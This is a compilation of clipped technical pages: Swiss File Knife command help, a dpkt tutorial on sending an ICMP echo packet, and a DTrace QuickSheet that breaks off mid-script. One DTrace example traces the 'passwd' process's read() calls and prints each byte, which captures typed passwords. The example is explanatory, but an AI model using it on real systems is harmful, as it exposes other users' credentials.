<img src='img/Temp2_7795.png' alt='Download sfk.exe for the Windows command
line' />

<img src='img/Temp2_7798.png' alt='Download sfk for 32 bits Linux (modern
systems like Ubuntu)' />

<img src='img/Temp2_7800.png' alt='Download sfk for 64 bits Linux' />

<img src='img/Temp2_7796.png' alt='Download sfk for the Mac OS/X terminal
(i686)' />

<img src='img/Temp2_7792.png' alt='SFK Mobile Booklet' />

<img src='img/Temp2_7791.png' alt='Source code and more binaries on
Sourceforge' />

  
  **networking**  
      sfk httpserv  \- run an instant HTTP server.  
                      type "sfk httpserv -help" for help.  
      sfk ftpserv    \- run an instant FTP server  
                      type "sfk ftpserv -help" for help.  
      sfk ftp        \- instant anonymous FTP client  
      sfk wget      \- download HTTP file from the web  
      sfk webrequest - send HTTP request to a server  
      sfk tcpdump    \- print TCP conversation between programs  
      sfk udpdump    \- print incoming UDP requests  
      sfk udpsend    \- send UDP requests  
      sfk ip        \- tell own machine's IP address\(es\).  
                      type "sfk ip -help" for help.  
      sfk netlog    \- send text outputs to network,  
                      and/or file, and/or terminal  
      sfk fromnet    \- receive and print network text  
      sfk ping      \- ping multiple machines in one go  

  

<img src='img/Temp2_7795.png' alt='Download sfk.exe for the Windows command
line' />

<img src='img/Temp2_7798.png' alt='Download sfk for 32 bits Linux (modern
systems like Ubuntu)' />

<img src='img/Temp2_7800.png' alt='Download sfk for 64 bits Linux' />

<img src='img/Temp2_7796.png' alt='Download sfk for the Mac OS/X terminal
(i686)' />

<img src='img/Temp2_7792.png' alt='SFK Mobile Booklet' />

<img src='img/Temp2_7791.png' alt='Source code and more binaries on
Sourceforge' />

  
  **scripting**  
      sfk script    \- run many sfk commands in a script file  
      sfk echo      \- print \(coloured\) text to terminal  
      sfk color      \- change text color of terminal  
      sfk alias      \- create command from other commands  
      sfk mkcd      \- create command to reenter directory  
      sfk sleep      \- delay execution for milliseconds  
      sfk pause      \- wait for user input  
      sfk label      \- define starting point for a script  
      sfk tee        \- split command output in two streams  
      sfk tofile    \- save command output to a file  
      sfk toterm    \- flush command output to terminal  
      sfk loop      \- repeat execution of a command chain  
      sfk cd        \- change directory within a script  
      sfk getcwd    \- print the current working directory  
      sfk require    \- compare version text  
      sfk time \[-h\]  \- print current date and time  

  

<img src='img/Temp2_7795.png' alt='Download sfk.exe for the Windows command
line' />

<img src='img/Temp2_7798.png' alt='Download sfk for 32 bits Linux (modern
systems like Ubuntu)' />

<img src='img/Temp2_7800.png' alt='Download sfk for 64 bits Linux' />

<img src='img/Temp2_7796.png' alt='Download sfk for the Mac OS/X terminal
(i686)' />

<img src='img/Temp2_7792.png' alt='SFK Mobile Booklet' />

<img src='img/Temp2_7791.png' alt='Source code and more binaries on
Sourceforge' />

  
  **development**  
      sfk bin-to-src \- convert binary data to source code  
      sfk make-random-file - create file with random data  
      sfk fuzz      \- change file at random, for testing  
      sfk sample    \- print example code for programming  
      sfk inst      \- instrument c++ with tracing calls  
  
  **diverse**  
      sfk xmlform    \- reformat xml for easy viewing  
      sfk media      \- cut video and binary files  
      sfk view      \- show results in a GUI tool  
      sfk toclip    \- copy command output to clipboard  
      sfk fromclip  \- read text from clipboard  
      sfk env        \- search environment variables  
      sfk version    \- show version of a binary file  
      sfk ascii      \- list ISO 8859-1 ASCII characters  
      sfk ascii -dos - list OEM codepage 850 characters  
      sfk spell \[-h\] - phonetic spelling for telephone  
      sfk cmd        \- print an example command  
      sfk license    \- print the SFK license text  

  

<img src='img/Temp2_7795.png' alt='Download sfk.exe for the Windows command
line' />

<img src='img/Temp2_7798.png' alt='Download sfk for 32 bits Linux (modern
systems like Ubuntu)' />

<img src='img/Temp2_7800.png' alt='Download sfk for 64 bits Linux' />

<img src='img/Temp2_7796.png' alt='Download sfk for the Mac OS/X terminal
(i686)' />

<img src='img/Temp2_7792.png' alt='SFK Mobile Booklet' />

<img src='img/Temp2_7791.png' alt='Source code and more binaries on
Sourceforge' />

  
  **help by subject**  
      sfk help select  \- how dirs and files are selected in sfk  
      sfk help options  \- general options reference  
      sfk help patterns \- wildcards and text patterns within sfk  
      sfk help chain    \- how to combine \(chain\) multiple commands  
      sfk help shell    \- how to optimize the windows command prompt  
      sfk help unicode  \- about unicode file reading support  
      sfk help colors  \- how to change result colors  
      sfk help compile  \- how to compile sfk on any linux system  
      sfk help xe      \- infos on sfk extended edition  
  
  All tree walking commands support file selection this way:  
  
  1\. short format with ONE directory tree and MANY file name patterns:  
      src1dir .cpp .hpp .xml bigbar \!footmp  
  2\. short format with a list of explicite file names:  
      letter1.txt revenues9.xls report3\turnover5.ppt  
  3\. long format with MANY dir trees and file masks PER dir tree:  
      -dir src1 src2 \!src\save -file foosys .cpp -dir bin5 -file .exe  
  
  For detailed help on file selection, type "sfk help select".  
  
  \* and ? wildcards are supported within filenames. "foo" is interpreted  
  as "\*foo\*", so you can leave out \* completely to search a part of a name.  
  For name start comparison, say "\foo" \(finds foo.txt but not anyfoo.txt\).  
  
  When you supply a directory name, by default this means "take all files".  
  
      sfk list mydir                lists ALL  files of mydir, no \* needed.  
      sfk list mydir .cpp .hpp      lists SOME files of mydir, by extension.  
      sfk list mydir \!.cfg          lists all  files of mydir  EXCEPT .cfg  
  
  

  

<img src='img/Temp2_7799.png' />

The SFK Mantra Mugs\!

_"No Awk Sed Grep Will You Require"_

_"No RegEx You Shall Suffer"_

  

<img src='img/Temp2_7801.png' />

  
  
  general options:  
      -tracesel  tells in detail which files and/or directories are included  
                or excluded, and why \(due to which user-supplied mask\).  
      -nosub    do not process files within subdirectories.  
      -nocol    before any command switches off color output.  
      -quiet    or -nohead shows less output on some commands.  
      -hidden    includes hidden and system files and dirs.  
      For detailed help on all options, type "sfk help options".  
  
  configure your windows CMD.exe properly.  
      select many display columns, 3000 lines for scrollback  
      and copy/paste of displayed text. "sfk help shell" for more.  
  
  beware of Shell Command Characters.  
      parameters containing spaces or characters <>|\!&?\* must be sur-  
      rounded by quotes "". type "sfk filter" for details and examples.  
  
  WRONG COLORS? Use one of:  
      set SFK\_COLORS=theme:black    for DARK  backgrounds  
      set SFK\_COLORS=theme:white    for BRIGHT backgrounds  
      see also "sfk help colors"  
  
  type "sfk ask word1 word2 ..."  to search ALL help text for words.  
  type "sfk dumphelp"              to print  ALL help text.  
  
      +--------------------------------------------------------+  
      | Get the Swiss File Knife Book from stahlworks.com/book |  
      | Get the three dollar e-book  from stahlworks.com/pdf  |  
      |--------------------------------------------------------|  
      |  Search all text files of a folder in realtime with  |  
      |    Depeche View. Freeware from www.depecheview.com    |  
      +--------------------------------------------------------+  
  
  

  

# jon.oberheide.org - blog - dpkt tutorial \#1: icmp echo

**Created:**| _6/22/2009 1:03:29 PM_  
---|---  
**Updated:**| _6/22/2009 1:03:41 PM_  
**Author:**| __  
**Tags:**| _packet-analysis Tutorials_  
  

# dpkt Tutorial \#1: ICMP Echo

In this dpkt tutorial, I will demonstrate how to construct and send a simple
ICMP echo packet.

dpkt is a sweet framework for creating and parsing packets. While dpkt doesn’t
have much documentation, once you get the hang of using one module, the rest
fall into place fairly easily. I’ll be doing a number of dpkt tutorials with
simple tasks in hopes of providing some “documentation by example”. If you
have any tasks you’d like to see done in dpkt, drop me a line.

In this tutorial, we’ll be creating an ICMP echo packet, aka a ping. It’s good
to start off with a simple example to see how to construct a packet across
multiple layers using the various modules of dpkt. Let’s get started\!

Taking a look at dpkt/icmp.py, we see the following classes for ICMP and it’s
Echo payload:

[code]

    class ICMP(dpkt.Packet):
        __hdr__ = (
            ('type', 'B', 8),
            ('code', 'B', 0),
            ('sum', 'H', 0)
            )
        class Echo(dpkt.Packet):
            __hdr__ = (('id', 'H', 0), ('seq', 'H', 0))
    
[/code]

Since we’ll be sending the ICMP echo out via the standard socket interface, we
don’t have to concerns ourselves with lower layers such as IP or the link-
layer \(we’ll save that for another tutorial\).

When constructing packets with dpkt, I usually take an top-to-bottom approach,
starting with the highest level structure and working our way down the layers.
For this ICMP request, we would start with contructing the Echo payload and
then the ICMP base payload \(and then the IP payload, the link-layer payload,
and so on if we were constructing lower-level payloads\). To create the Echo
payload, we simple create an instance of the Echo class:

[code]

    echo = dpkt.icmp.ICMP.Echo()
    
[/code]

The attributes for the Echo payload \(listed in \_\_hdr\_\_\) are id and seq,
both of which 16-bit integers \(’H'\) and default to 0. We can easily change
these attributes of the Echo payload and will randomize them for kicks:

[code]

    echo.id = random.randint(0, 0xffff)
    echo.seq = random.randint(0, 0xffff)
    
[/code]

ICMP Echo requests often include a data payload that is echo’ed back by the
receiver. We will include a payload by assigning a string to the Echo data
attribute. The data attribute is special in dpkt-land and we will see its use
later when linking together the Echo payload with the ICMP payload. For now,
we assign a dummy payload:

[code]

    echo.data = 'hello world'
    
[/code]

We can now pretty print, hexdump, or print the raw bytes of the Echo payload:

[code]

    >>> print `echo`
    Echo(id=24528, seq=11482, data='hello world')
    
[/code]

[code]

    >>> print binascii.hexlify(str(echo))
    5fd02cda68656c6c6f20776f726c64
    
[/code]

[code]

    >>> print str(echo)
    _?,?hello world
    
[/code]

Next, we create the ICMP payload and assign its attributes using the constants
found in dpkt/icmp.py:

[code]

    icmp = dpkt.icmp.ICMP()
    icmp.type = dpkt.icmp.ICMP_ECHO
    
[/code]

To link our Echo payload to our ICMP payload, we again use the data attribute.
Since the Echo payload is a “sub-payload” of the ICMP packet, we assign it to
the ICMP’s data attribute:

[code]

    icmp.data = echo
    
[/code]

Again, we can now pretty print, hexdump, or print the raw bytes of the entire
ICMP/Echo packet and see how the Echo payload is nested within the ICMP
payload:

[code]

    >>> print `icmp`
    ICMP(data=Echo(id=24528, seq=11482, data='hello world'))
    
[/code]

[code]

    >>> print binascii.hexlify(str(icmp))
    0800d9865fd02cda68656c6c6f20776f726c64
    
[/code]

[code]

    >>> print str(icmp)
    ??_?,?hello world
    
[/code]

Now that we have the full binary payload of our ICMP packet \(str\(icmp\)\),
we can send it out via a standard ICMP socket:

[code]

    s = socket.socket(socket.AF_INET, socket.SOCK_RAW, dpkt.ip.IP_PROTO_ICMP)
    s.connect(('74.125.67.100', 1))
    s.send(str(icmp))
    
[/code]

Success\! This completes our tutorial showing the construction of an ICMP echo
request with dpkt.

The full python script for this tutorial follows:

[code]

    #!/usr/bin/env python
    
    import dpkt
    import socket, random
    
    echo = dpkt.icmp.ICMP.Echo()
    echo.id = random.randint(0, 0xffff)
    echo.seq = random.randint(0, 0xffff)
    echo.data = 'hello world'
    
    icmp = dpkt.icmp.ICMP()
    icmp.type = dpkt.icmp.ICMP_ECHO
    icmp.data = echo
    
    s = socket.socket(socket.AF_INET, socket.SOCK_RAW, dpkt.ip.IP_PROTO_ICMP)
    s.connect(('74.125.67.100', 1))
    sent = s.send(str(icmp))
    
    print 'sent %d bytes' % sent
    
[/code]

This entry was posted on Monday, August 25th, 2008 at 8:29 am and is filed
under Technical. You can follow any responses to this entry through the RSS
2.0 feed. Both comments and pings are currently closed.

# DTrace QuickSheet

**Created:**| _9/3/2009 9:48:52 AM_  
---|---  
**Updated:**| _9/18/2009 10:31:26 AM_  
**Author:**| __  
**Tags:**| _bookmark cheat sheets reversing Dtrace Mac-hacking_  
  
Main Page -> QuickSheets -> DTrace QuickSheet  
---  
* * *
DTrace QuickSheet

Version 1.2.0

Note: Due to the HTML version and formatting of this QuickSheet, it may be
necessary to increase your browser window size to prevent line wrapping in the
code samples.

Introduction

Overview  
The dtrace utility is a highly customizable tool that gives powerful insight
into internal operations of a running system. dtrace utilizes the D language
to define what information is desired, how it is processed, and how it will be
formatted. It is available on a number of OS distributions \(examples here are
from OS-X \(10.5\) and Solaris 10\).  
  
The D language is a description of what events should be watched \(called
probes\) and what information should be pulled, managed, and displayed
\(called clauses\). It is not a procedural language in that it does not have
functions or have a predictable program flow but instead is defined by probes
that fire based upon external events that are specified through the D
language. While test clauses \(predicates\) and code blocks \(actions\)
maintain some similarities to C, the language is more related to defining
conditions where probes will fire and what should be done as each probe fires.  
  
An example of this \(out of order execution\) is that probe blocks can be
placed within the D program in virtually any order. Unlike a C program or a
shell script there is no pre-defined flow of the D language. Instead the
"flow" of the application is driven by external applications that trigger
probes that dtrace is watching. \(Note: One or more probes with the same name
will fire in the order they appear in the D script. This can be used to
introduce a "flow" and conditional execution of some instructions in a dtrace
script.\)  
  
Syntax  
Probe clause \(block\) format  
| provider:module:function:name|  | | probe description   
---|---|---|---  
/test/|  | | predicate   
\{  
action;  
\}|  | | actions   
  
Probe description  
The probe description is a definition of an "event" that will cause the clause
to "fire". A probe description can define something like a system call
\(syscall\), a timer \(profile\), or other performance related event.  
  
Names of each section of the probe description can be omitted and are matched
from the left, so the following are equivalent:  
dtrace:::BEGIN  
:::BEGIN  
BEGIN  
  
Multiple probes can be specified by explicitly listing them on multiple lines
separated by commas, leaving sections blank \(so they will match all\), or
using a wild-card pattern match much like as seen on the shell command line
with file name globbing.  
| Predicate  
The predicate is an optional, additional test that can be placed upon the
probe to limit the execution of the actions section to a preferred subset of
instances. A predicate in D will look familiar to anyone who has ever written
a shell test or a C expression. D is more like shell in that it allows
comparisons of strings using an equality test \("=="\) and more like C in that
it allows the use of concepts like the increment operator \("++"\). Below is
an example of a predicate that increments a counter and exits after 60 seconds
\(the firing probe in this case is a 1 second timer\).  
profile:::tick-1sec  
/i++ >= 59/  
\{ exit\(0\); \}  
  
Actions  
Actions are commands that should be executed when the probe fires and the
predicate \(if it exists\) evaluates to true. This block of "code" is encased
in \{ \} brackets and generally follows C syntax.  
  
Hello World\!  
Hello World\! in dtrace serves to introduce a few D concepts but is a bit
misleading as it suggests that D is an imperative language. The point here is
that this example should be considered for its syntax and layout but not its
purpose.  
  
In this example a single D probe clause, that resembles a block of C code,
contains some familiar functions. The key difference is that the probe clause
is event driven, and is not part of a sequence of instructions that flow from
start to finish. We defeat this behavior by putting all our instructions into
the BEGIN clause and then calling exit\(\) from the BEGIN clause. This has the
effect of collapsing the probe-clause into a single instruction / code block.  
  
In the Hello World example we have defined a single probe that fires upon
start \(BEGIN\), displays some text \(printf\(\)\) and then exits. The BEGIN
probe is a pseudo-probe in that it is not driven by externally watched
processes but is provided by dtrace itself and always fires when the script is
first run.  
\#\!/usr/sbin/dtrace -s  
  
/\* Don't print all the garbage Dtrace prints \*/  
\#pragma D option quiet  
  
/\* Upon starting... \*/  
dtrace:::BEGIN  
\{  
/\* ...formatted print of familiar string... \*/  
printf\("Hell of a world\!\n"\);  
  
/\* ...and exit\(\); \*/  
exit\(0\);  
\}  
  
The above D language sample can be saved to a file \(HelloWorld.d\), set
executable, and run on a dtrace enabled system. Like most "Hello World\!"
examples it is not quite useful in itself but only an introduction to the
language.  
  
Probes

Providers  
Providers are "modules" or "listeners" that provide specific types of probes
that dtrace can be told to watch for. As seen in the Hello World\! example the
dtrace provider provides a "pseudo-probe" that will fire upon the start of any
dtrace session. This probe is frequently used to initialize variables and
provide any setup required for the D script.  
  
| dtrace | BEGIN, END, and ERROR probes.   
---|---  
syscall | Provides entry and return probes for every system call. These calls are documented in section 2 of the man database. arg0, arg1... are parameters to the system call in the entry probe. arg0 is the return value in the return probe.   
fbt | Function Boundary Tracing. Probes for entry and return from kernel internal functions. This is different than syscalls as these are kernel internals and not called from userspace.   
profile | These are time based probes that fire on ticks, seconds, or fractions of seconds. The tick-1sec probe is provided by profile.   
lockstat | Provides information on locking and mutexes for threads and reader/writer locks.   
sched | Probe that fires based upon various scheduling events. In most probes args\[0\], and args\[1\] refer to the lwpsinfo\_t, and psinfo\_t respectively.   
io | Provides four probes related to disk I/O.   
proc | Provides probes for process creation, forking, and signaling. These probes use args\[0\] parameters.   
sysinfo | Probes related to kernel statistics. arg0, arg1, and arg2 are used. arg0 is typically 1 but is set to the number of bytes read or written when :::readch or :::writech.   
vminfo | Probes related to kernel vm statistics. arg0, and arg1 are used. arg0 is typically 1 but is set to a count on some of probes.   
pid<pid> | This allows you to trace userland functions   
| Provider Arguments  
Arguments to probes can take two different formats. The args\[x\] format is
typed based upon the individual probe while argx is always a 64-bit int. The
following examples are how each is used. It should be noted that these are not
arguments that you provide like a standard API but are provided to you by the
probe as additional insight into the event the probe signals such as syscall /
function arguments, return values, or system statistics.  
  
This is an example of a simple io probe that accesses all three structs passed
in the io probe args\[\] parameters. \(Note: The ?: clause is wrapped for
space. See the "Code Snippets" section below for a variation and additional
explanation of this example.\)  
args\[0\] is bufinfo\_t struct  
args\[1\] is devinfo\_t struct  
args\[2\] is fileinfo\_t struct  
io:::done  
\{  
printf\("%d bytes : %s\n",  
args\[0\]->b\_bcount,  
\(args\[2\]->fi\_pathname == "<none>"\)  
? args\[1\]->dev\_pathname  
: args\[2\]->fi\_pathname\);  
\}  
  
The following example includes two probes that uses the argX arguments. In the
syscall::read:entry probe arg0, arg1, and arg2 are the three arguments to the
read\(\) system call. We are interested in arg1 that is the pointer to the
buffer we will read into. Here we copyin\(\) 1 byte from the application
address space to the dtrace address space. \(Pointers are relative to the
application address space and are not valid locally unless explicitly
translated with a function like copyin\(\).\) In the syscall::read:return
probe we check arg0 for a return value of 1 from read\(\) \(meaning 1 byte was
read, an expected value in this case\). An expanded version of this script is
included in the "Code Snippets" section later in this page.  
syscall::read:entry  
/execname == "passwd"/  
\{  
got = \*\(char \*\)copyin\(arg1, 1\);  
\}  
  
syscall::read:return  
/execname == "passwd" && arg0 == 1/  
\{  
printf\("%c", got\);  
\}  
  
Data

Variables  
The D language supports two basic variable types, scalars \(integers,
pointers\) or associative arrays \(a dynamic, keyed array\). Scalars can be
declared as explicit types, but will assume type based upon the initial use.
\(Unlike C, variables do not need to be declared prior to use in D.\)  
  
Global variables can be explicitly declared and typed \(int, float, double,
etc...\) outside of probe clauses \(blocks\) typically at the top of the D
file. Unlike C, D global variables cannot be \(explicitly\) initialized to a
value when they are declared \(they are initialized to 0 by default\).
Variables can be initialized to a specific value in a BEGIN block.  
  
Each probe provides a number of variables specific to the probe such as pid
and execname. These variables are local to the probe clause \(block\) and will
be set accordingly by what kind of probe and what fired it.  
  
\(Reserved\) Probe variables  
The following variables are \(an incomplete list of\) pre-defined variables
that are probe \(firing\) specific and available within the probe predicate or
actions \(code\) block.  
  
| pid | PID of firing process   
---|---  
ppid | PPID of firing process   
errno | The last errno encountered by the firing process   
execname | Name of the process firing the probe   
tid |   
probeprov | The provider of the firing probe   
probemod | The module name of the firing probe   
probefunc | The function name of the firing probe   
probename | The name of the firing probe   
arg0 ... argX | 64 bit integer value returned from a probe   
args\[0\] ... args\[X\] | Typed value returned from a probe   
  
The key difference between arg0 and args\[0\] is that arg0 is always the same
type \(64 bit int\) while args\[0\] typically refers to a struct that will
vary based upon the firing probe. The 64 bit int of arg0 may be an integer or
a pointer depending upon the probe that fires. The definitions of the
providers, and specific probes will define which of these to use, and what
data to expect inside.  
  
DTrace variables \(macros\):  
Macros are variables that are relative to the dtrace process \(script\) and
not the probe or other variable values.  
  
$pid | Process ID of the dtrace process   
---|---  
$ppid | Parent process ID of the dtrace process   
$cwd | Current working directory of the dtrace process   
$0 | If called from a script $0 is the script name   
$1 ... $9 | Command line arguments to the dtrace script   
$target | This will resolve to a PID of a process using the -p or -c switch   
$\[e\]\(g/u\)id | Effective and real user and group IDs   
  
macros can be explicitly cast to a string by preceding it with double "$"
characters. For example if $1 is the value 123:  
$1 will be an integer 123  
$$1 will be the string "123"  
  
Variable type examples:  
In the following \(nonsensical\) code snippet:  
pid is the pid of the process firing the read probe  
$pid is a macro evaluating to the pid of the dtrace process  
$1 is a macro containing the first argument to the dtrace script. As $1 it is
treated as a number as $$1 it is referenced as a string.  
execname is the name of the file of the executable firing the read probe.  
re and rr are dtrace global variables  
syscall::read:entry  
/pid \!= $pid/  
\{  
/\* this read\(\) entry is NOT from dtrace \*/  
re++;  
\}  
  
syscall::read:return  
/execname == $$1/  
\{  
/\* this read\(\) return is a specific process \*/  
rr++;  
\}  
  
Arrays  
Arrays in the D language are not \(necessarily\) keyed on indexes like they
are in C, but can be keyed on multiple different data types such as numbers,
strings, or a mixture of each. Another difference from C is that arrays in D
are dynamic and do not explicitly need to be allocated to a particular size.  
  
| Aggregations  
Aggregations allow for collection and management of large amounts of data.
Aggregating functions will coalesce this data in a manageable set.  
  
Aggregations are printed by default on exit or can be explicitly printed using
the printa\(\) function.  
Collect how many times write was called by process name  
syscall::write:entry  
\{  
@NumWrtByExe\[execname\] = count\(\);  
\}  
  
This is the total of all writes by process name and pid  
syscall::write:return  
\{  
@TotalWrtByPIDExe\[pid, execname\] = sum\(arg0\);  
\}  
  
This is the average write size by process name  
syscall::write:return  
\{  
@AvgWrtByExe\[execname\] = avg\(arg0\);  
\}  
  
Get aggregated numbers for a single process  
syscall::write:return  
/pid == $1/  
\{  
@minw = min\(arg0\);  
@maxw = max\(arg0\);  
@avgw = avg\(arg0\);  
\}  
  
END  
\{  
printa\("Writes: min: %@d max: %@d avg: %@d\n",  
@minw,  
@maxw,  
@avgw\);  
\}  
  
Get a distribution of write sizes for all runs of ls  
syscall::write:return  
/execname == "ls"/  
\{  
@DistWrite = quantize\(arg0\);  
\}  
  
Print a distribution of write calls over time for a PID  
BEGIN  
\{  
beginsec = timestamp / 1000000000;  
i = 0;  
\}  
  
syscall::write:entry  
/pid == $1/  
\{  
nowsec = timestamp / 1000000000;  
@TimeDistWrite = lquantize\(nowsec - beginsec, 1, 60, 1\);  
\}  
  
profile:::tick-1sec  
/i++ >= 59/  
\{  
exit\(0\);  
\}  
  
Thread and clause local variables  
Thread local variables are variables that are local for the firing probe. In
the following example, the thread local variable insures that we are always
referring to the same read\(\) call instead of another process' entry:  
syscall::read:entry  
\{  
self->stime = timestamp;  
\}  
  
syscall::read:return  
/self->stime \!= 0/  
\{  
printf\("%s read\(\) %d nsecs\n",  
execname,  
timestamp - self->stime\);  
\}  
  
Clause local variables are local to a clause \(block\) and are denoted with
the this-> prefix.  
  
Application space pointers  
Pointers to application data structures are local to the application being
watched and not dtrace. So attempts to de-reference a pointer \(access the
data\) will refer to the application offset and not the dtrace offset. It is
necessary to copy the item into the dtrace environment so it can be utilized.  
In the following example the execname variable and arg0 both are
\(effectively\) strings. execname is a string data type local to dtrace while
arg0 is a pointer to an array of characters used in the open\(\) call. The
pointer arg0 is the pointer for the application and is invalid in dtrace. For
this reason we use copyinstr\(arg0\) to convert it to a local string variable
as well.  
syscall::open:entry  
\{  
printf\("%s open\(\) by %s\n", copyinstr\(arg0\), execname\);  
\}  
  
Kernel variables  
Dtrace can reference kernel variables by using a \` char prior to var  
trace\(\`kmem\_flags\);  
  
Constants  
Constants are declared in D using the "inline" keyword. The key difference
between inline variables and a C \#define is that constants in D have type.
The following code sample is an example of a constant declaration and use in
D.  
inline int MAX\_VALUE = 10;  
  
BEGIN  
\{  
myvalue = MAX\_VALUE;  
\}  
  
Writing Scripts

dtrace command line  
List all probes  
dtrace -l  
Run quiet  
dtrace -q  
Print Version, exit  
dtrace -V  
Print all probes provided by the syscall provider.  
dtrace -l -P syscall  
Print all entry probes provided by the syscall provider \(1/2 of previous\)  
dtrace -l -n syscall:::entry  
Print just the syscall names from the previous list  
dtrace -l -n syscall:::entry | awk '\{ print $3 \}'  
Create a simple aggregation from the command line. \(Note: The single @ is an
un-named / default aggregation. When Ctrl-C is used to exit, this aggregation
will be traced \(printed\).\)  
dtrace -n 'syscall:::entry \{ @ = count\(\); \}'  
Trace all open\(\)s using the ID of the probe. \(Note: probe ID will vary this
is from OS X version. The default action \(when none is explicitly specified\)
is to trace the syscall.\)  
dtrace -i 17602  
Count all open\(\)s using the ID of the probe. \(Note: probe ID will vary this
is from OS X version. The @ aggregation will be printed on exit by default.\)  
dtrace -i '17602 \{ @ = count\(\); \}'  
  
Scripting  
DTrace scripts can be written like "normal" Unix scripts in that they can be
started with a shebang \(\#\!\) and the path to the dtrace interpreter on the
first line. This makes the script a "pure" D script. The benefit of this is
simplicity but this comes at the expense of some flexibility such as parameter
checking and extra functionality.  
  
One alternative to this is to create a shell wrapper that includes D code that
is \(potentially modified\) and passed to the dtrace binary. In the following
\(shell script\) example D code is generated on the fly. The $\{PID\} variable
in the following example will be substituted with a literal value when the D
script is written to disk and run.  
  
In this \(incomplete\) shell script the $\{PID\} variable can be generated and
validated by a shell function or system tool and then inserted into the D
script as a string literal rather than a parameter.  
  
This also allows the checking for such items as "--help" and "-h" on the
script command line. The end result is the ability for a D script to respond
to user requests and perform error checking more like what users expect from
similar utilities. This allows you to utilize D as a method to create
standardized tools with a more user friendly experience and output.  
  
PID=\`getmypid\`  
  
cat > /tmp/dtracetmp.$$ <<EOF  
\#\!/usr/sbin/dtrace -s  
  
syscall:::entry  
/pid == $\{PID\}/  
\{  
@\[probefunc\] = count\(\);  
\}  
  
EOF  
  
dtrace -s /tmp/dtracetmp.$$  
  
  
Options  
Options can be declared in a dtrace script using the \#pragma declaration or
by passing as an argument to the interpreter \(using the \#\!/usr/sbin/dtrace
method\).  
Most scripts here, specifically those with explicit printf\(\) statements
assume the following "quiet" option:  
\#pragma D option quiet  
Many examples elsewhere assume that the quiet option is not enabled and will
produce significantly different results. One key example is an empty action
block. With the quiet option, dtrace will print nothing from an empty block as
nothing is explicitly told to print. Without the quiet option, an empty block
will print the name and ID of the firing probe as well as the CPU it fired on.  
Scripts calling destructive functions \(those capable of modifying the system
or calling other binaries\) need to use the "destructive" option:  
\#pragma D option destructive  
  
Comments  
Comments in D follow the same rules as C. The following code example is a
comment \(and how not to comment\).  
/\* This is a valid D comment \*/  
  
// This will cause a compiler error in D.  
  
Portability  
I have successfully run and tested D scripts between Solaris and OSX. This does not mean that they are 100% compatible as probes differ between the two platforms. D scripts are not compatible with ProbeVue \(on AIX\). | | DTrace functions  
| avg\(scalar\)  
---  
| Aggregating function that averages the argument into the aggregation.  
basename\(char \*pathstr\)  
| Returns a string containing the file portion \(everything right of the last
"/" character\) in a path name.  
clear\(aggregation\)  
| Clears all data from the aggregation \(but leaves the keys - use trunc\(\)
to delete data and keys\)  
copyin\(uintptr\_t addr, size\_t size\)  
| Copy size bytes from application space addr to a variable. The destination
buffer will be automatically allocated as the return value.  
copyinstr\(uintptr\_t addr\)  
| Copy a null terminated string from application space addr to a variable. The
destination string will be automatically allocated as the return value.  
count\(void\)  
| Aggregating function that increments the aggregation.  
dirname\(char \*charptr\)  
| Return a string with just the directory path \(everything to the left of the
last "/" character\) and not the file portion of a full path/file input
string.  
exit\(int status\)  
| Exit the dtrace script with a return value of status.  
lquantize\(scalar expression, int lower\_bound, int upper\_bound, int step\)  
| An aggregating function that generates a linear distribution of the input
scalar expression. The 2nd, 3rd, and 4th parameters define the bounds and step
of the distribution. \(For a simpler, power of two distribution used
quantize\(\).\)  
max\(scalar\)  
| Aggregating function that sets the aggregation to the maximum value
supplied.  
min\(scalar\)  
| Aggregating function that sets the aggregation to the minimum value
supplied.  
panic\(void\)  
| This is a destructive call that will cause the system to panic.  
printa\(aggregation\)  
printa\(string format, aggregation\)  
| Explicitly print an aggregation to the output buffer or print an aggregation
using a format string.  
printf\(string format, ...\)  
| Print to the output buffer using printf\(3\) syntax.  
quantize\(scalar expression\)  
| An aggregating function that generates a power of two distribution of the
input scalar expression. \(For a linear distribution used lquantize\(\).\)  
stringof\(expression\)  
| Converts input expression to a string.  
sum\(scalar\)  
| Aggregating function that adds the input to the aggregation.  
system\(string program-format, ...\)  
| Call the program specified in the format string.  
trace\(expression\)  
| Trace the expression to the output buffer.  
tracemem\(uintptr\_t address, size\_t bytes\)  
| Dump \(print\) a memory location to the output buffer. The address must be
local to the dtrace process \(ie: use copyin\(\) on the address first\) and
the second parameter must be a constant \(it cannot be a variable\).  
trunc\(aggregation\)  
| Clears all data and keys from the aggregation \(use clear\(\) to delete data
and maintain the keys\)  
|  
  
Destructive calls require the destructive option to be set. One method of
doing this is using the \#pragma D option destructive pragma.  
  
if-then  
DTrace allows for a simple if-then decision using the ? : syntax from the C
language. This does not allow advanced flow control but can be used to
conditionally set a value. For example:  
mystring = \(myvalue > 0\) ? "Some" : "None" ;  
  
Simple flow control can be achieved using multiple probes \(of the same probe
identifier\) with different predicates / actions. The probes will be processed
in the order they appear in the DTrace script. \(An example is available in
the Code Snippets section.\)  
  
Samples

Code snippets  
Note: Code may wrap in the two column format. It may be necessary to resize
the browser to see code formatted correctly.  
  
60 second count down timer  
profile:::tick-1sec  
/i++ >= 60/  
\{  
exit\(0\);  
\}  
  
Print out kernel variables \(and exit\)  
BEGIN  
\{  
printf\("rlim\_fd\_cur = %d\n", \`rlim\_fd\_cur\);  
printf\("rlim\_fd\_max = %d\n", \`rlim\_fd\_max\);  
exit\(0\);  
\}  
  
Timestamp beginning and end of dtrace session  
BEGIN  
\{  
printf\("dtrace started: %Y\n", walltimestamp\);  
\}  
  
END  
\{  
printf\("dtrace ended: %Y\n", walltimestamp\);  
\}  
  
List every exec\(\)ed process  
proc:genunix::exec  
\{  
printf\("%s\(%d\) by %s\(%d\)\n",  
basename\(args\[0\]\),  
pid,  
execname,  
ppid\);  
\}  
  
Run a command using the system\(\) call  
Note: This simply calls kill on itself.  
\#pragma D option destructive  
  
BEGIN  
\{  
system\("kill %d", pid\);  
\}  
  
Print syscall stats for a PID using vmstat-like timing parameters  
Note: defaultargs option is used. This sets all unassigned parameters \($n
macros\) to 0 or "". The full text of the dtrace script is included here to
show the option usage.  
\#\!/usr/sbin/dtrace -s  
  
\#pragma D option quiet  
\#pragma D option defaultargs  
  
/\*  
Counts all the syscalls \(by PID\) iteratively  
$0 <PID> \[delay\] \[count\]  
\*/  
  
dtrace:::BEGIN  
\{  
dlymax = \($2 > 0\) ? $2 : 1;  
cntmax = \($3 > 0\) ? $3 : -1;  
  
dlycnt = 0;  
cntcnt = 0;  
\}  
  
syscall:::entry  
/pid == $1/  
\{  
@syscalls\[probefunc\] = count\(\);  
